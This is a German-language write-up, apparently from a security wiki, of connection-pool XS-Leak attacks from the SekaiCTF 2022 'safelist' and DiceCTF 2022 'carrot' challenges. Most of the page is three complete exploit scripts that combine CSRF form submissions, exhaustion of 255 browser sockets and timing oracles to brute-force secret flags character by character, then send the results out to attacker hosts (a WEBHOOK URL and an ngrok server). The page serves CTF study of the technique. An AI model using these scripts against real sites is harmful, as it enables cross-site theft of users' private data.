Beispiele für Verbindungspools

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Sekaictf2022 - safelist

In der Herausforderung Sekaictf2022 - safelist gibt @Strellic_ ein Beispiel dafür, wie man eine Variante der Verbindungspool-Technik verwendet, um ein XS-Leak durchzuführen.

Bei dieser Herausforderung besteht das Ziel darin, eine Flagge zu exfiltrieren, die in der Web-Sitzung der Bots in einem Beitrag angezeigt wird. Der Angreifer verfügt über folgende Ressourcen:

Der Bot wird eine URL besuchen, die vom Angreifer bereitgestellt wird.
Der Angreifer kann HTML in die Seite einfügen (aber kein JS, dompurify wird verwendet), indem er einen CSRF missbraucht, um den Bot dazu zu bringen, einen Beitrag mit diesem HTML zu erstellen.
Der Angreifer kann einen CSRF missbrauchen, um den Bot dazu zu bringen, den ersten Beitrag in der Webanwendung zu löschen.
Da die Beiträge alphabetisch geordnet sind, bedeutet das Löschen des ersten Beitrags, dass der HTML-Inhalt des Angreifers alphabetisch vor der Flagge geladen wurde.

Um die Flagge zu stehlen, schlägt @Strellyc_ vor, dass der Bot für jeden zu testenden Buchstaben Folgendes tun soll:

Einen neuen Beitrag erstellen, der mit dem bekannten Teil der Flagge beginnt und mehrere img-Ladungen enthält.
Den Beitrag an Position 0 löschen.
255 Sockets blockieren.
Die Seite mit den Beiträgen laden.
5 zufällige Anfragen an eine Website (in diesem Fall example.com) senden und die Zeit messen, die dies dauert.

{% hint style="warning" %} Wenn der gelöschte Beitrag die Flagge war, bedeutet dies, dass alle in das HTML eingefügten Bilder mit den 5 zufälligen Anfragen um diesen freigegebenen Socket kämpfen werden. Das bedeutet, dass die gemessene Zeit größer sein wird als im anderen Szenario.

Wenn der gelöschte Beitrag das HTML war, werden die 5 zufälligen Anfragen schneller sein, da sie nicht mit dem injizierten HTML um diesen Socket kämpfen müssen. {% endhint %}

Exploit 1

Dies ist der Exploit-Code, der von https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html entnommen wurde:

<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}

// Similar to JQuery
const $ = document.querySelector.bind(document);

// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}

// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));

// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));

let deltas = [];

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};

// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}

// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));

// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();

log("test_" + c + "_" + i, delta);

// Save time needed
deltas.push(delta);
}
return deltas;
};

// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};

window.onload = async () => {
pwn();
};
</script>

Exploit 2

Gleiche Taktik, aber anderer Code von https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while( (R-L)>3 ) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>

</body>

</html>

DiceCTF 2022 - Karotte

In diesem Fall bestand der erste Schritt des Exploits darin, einen CSRF-Angriff zu nutzen, um die Seite zu modifizieren, auf der sich die Flagge befindet, sodass sie viel mehr Inhalt enthält (und daher länger zum Laden benötigt). Anschließend wird der Verbindungspool ausgenutzt, um die Zeit zu messen, die zum Zugriff auf die potenziell die Flagge enthaltende Seite benötigt wird.

Im Exploit sind folgende Schritte zu erkennen:

CSRF-Angriff ausnutzen
Alle Sockets außer einem belegen
Die Antwort kalibrieren
Durch Zugriff auf die potenzielle Seite mit der Flagge Brute-Force starten
Die potenzielle Seite wird aufgerufen und gleichzeitig wird eine von Angreifern kontrollierte URL aufgerufen, um zu überprüfen, wie viel Zeit beide Anfragen benötigen.

<h1>DiceCTF 2022 web/carrot</h1>

<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<button onclick="csrf()">do csrf</button>
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br>
<br>
<h2 id=output></h2>
<br>
<form id=x action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title">
<br><br>
<input type="number" name="priority" placeholder="priority" value=9999>
<br><br>
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br><br>
<input type="submit" value="submit">
</form>

<script>

// this is send is used as logging
LOG = 'Starting'
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255;
// default
TIMELIMIT = 800;
INSTANCE = ''
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}

const time_fetch = async() => {
let test_server_url = `https://${MYSERVER}/?${LOG}`;
let start = window.performance.now();
try {
await fetch(test_server_url, {
mode: 'no-cors'
});
} catch (e) {
console.log(e);
}
let end = window.performance.now();
return end - start;
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: 'no-cors'
});
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: 'no-cors'
});
}

const block_socket = async (i) => {
fetch_sleep_long(i);
// needed?
await sleep(0);
}

const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i);
}
console.log(`Used ${i} connections`);
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {

popup.location = url;
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
});
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char;
}
}
return false;
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
});

}

const exploit = async(flag = '') => {
console.log('Starting')
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last;
while (true) {
last = await brute(flag);
if (last === false) {
return flag;
}
else {
flag += last;
output.innerText = flag;
if(last === '}'){
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
}
else {
WINBG = window.open(location.href, target="_blank")
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams;
if(!p.has('i')){
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get('i')
// step 1
if(p.has('csrf')){
csrf()
return
}
// step 2
if (p.has('exploit')) {
// window open is ok in headless :)
popunder()

exploit('dice{')
}
}
</script>